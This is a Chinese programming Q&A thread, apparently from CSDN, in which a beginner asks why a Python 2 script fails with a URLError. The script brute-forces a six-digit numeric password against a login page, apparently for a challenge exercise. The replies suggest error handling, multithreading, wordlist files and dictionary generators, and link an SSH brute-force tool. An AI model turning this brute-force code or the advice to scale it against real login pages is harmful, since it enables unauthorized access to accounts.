2 nerd tsai Nerd_Tsai 于 2015.07.18 20:50 提问

python 做的web 暴力猜解密码程序 出错

在Linux环境下运行
这是错误:
Traceback (most recent call last):
File "brute.py", line 15, in
response = urllib2.urlopen(req,timeout=100)
File "/usr/lib/python2.7/urllib2.py", line 127, in urlopen
return _opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 401, in open
response = self._open(req, data)
File "/usr/lib/python2.7/urllib2.py", line 419, in _open
'_open', req)
File "/usr/lib/python2.7/urllib2.py", line 379, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 1211, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/usr/lib/python2.7/urllib2.py", line 1181, in do_open
raise URLError(err)
urllib2.URLError:

以下是代码:

 import urllib2,urllib
lista = ['0','1','2','3','4','5','6','7','8','9']
url = 'http://challenge.honyaedu.com:8886/hou15/10/login.php'
header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36'}
for a in lista:
    for b in lista:
        for c in lista:
            for d in lista:
                for e in lista:
                    for f in lista:
                        passw=a+b+c+d+e+f
                        value = {'password':passw,'Submit':'%E7%A1%AE%E5%AE%9A'}
                        data = urllib.urlencode(value)
                        req = urllib2.Request(url,data,header)
                        response = urllib2.urlopen(req,timeout=100)
                        the_page = response.read()
                        if passw =='000000':
                            page=the_page
                        else:
                            if page!=the_page:
                                print passw
                                break

3个回答

oyljerry
oyljerry   Ds   Rxr 2015.07.18 21:03

urlopem返回错误了,nitry catch捕获错误
查看URLError的错误码就知道具体错误信息了

Nerd_Tsai
Nerd_Tsai 回复oyljerry: 好的,谢谢
2 年多之前 回复
oyljerry
oyljerry 回复Nerd_Tsai: http://www.360doc.com/content/14/0505/14/8504707_374794577.shtml
2 年多之前 回复
Nerd_Tsai
Nerd_Tsai 能详细一点么,我是刚刚才开始学python,麻烦了
2 年多之前 回复
caozhy
caozhy   Ds   Rxr 2015.07.18 23:43

代码写得太呆,那你破解7位8位难道还要写7、8层循环。再说你这么写也没法充分利用多线程

Nerd_Tsai
Nerd_Tsai 这个,我是刚刚开始学python,线程那还没看,,而且主要是因为做题需要,临时写的,我现在只是想知道哪里出错了
2 年多之前 回复
caozhy
caozhy   Ds   Rxr 2015.07.18 23:47

http://outofmemory.cn/code-snippet/1454/qiongjufa-SSH-baolipojie-tool
建议你参照这个程序的思路,把密码列表放在外部。也就是说用字典文件。

好处很多,比如,你可以同时在多个计算机上跑不同的列表,或者多开几个程序。你可以终止程序,并且下次只从中断位置开始执行。

有很多现成的字典产生工具,不仅可产生各种字母组合,还可以产生单词的组合。提高破解效率。

Csdn user default icon
上传中...
上传图片
插入图片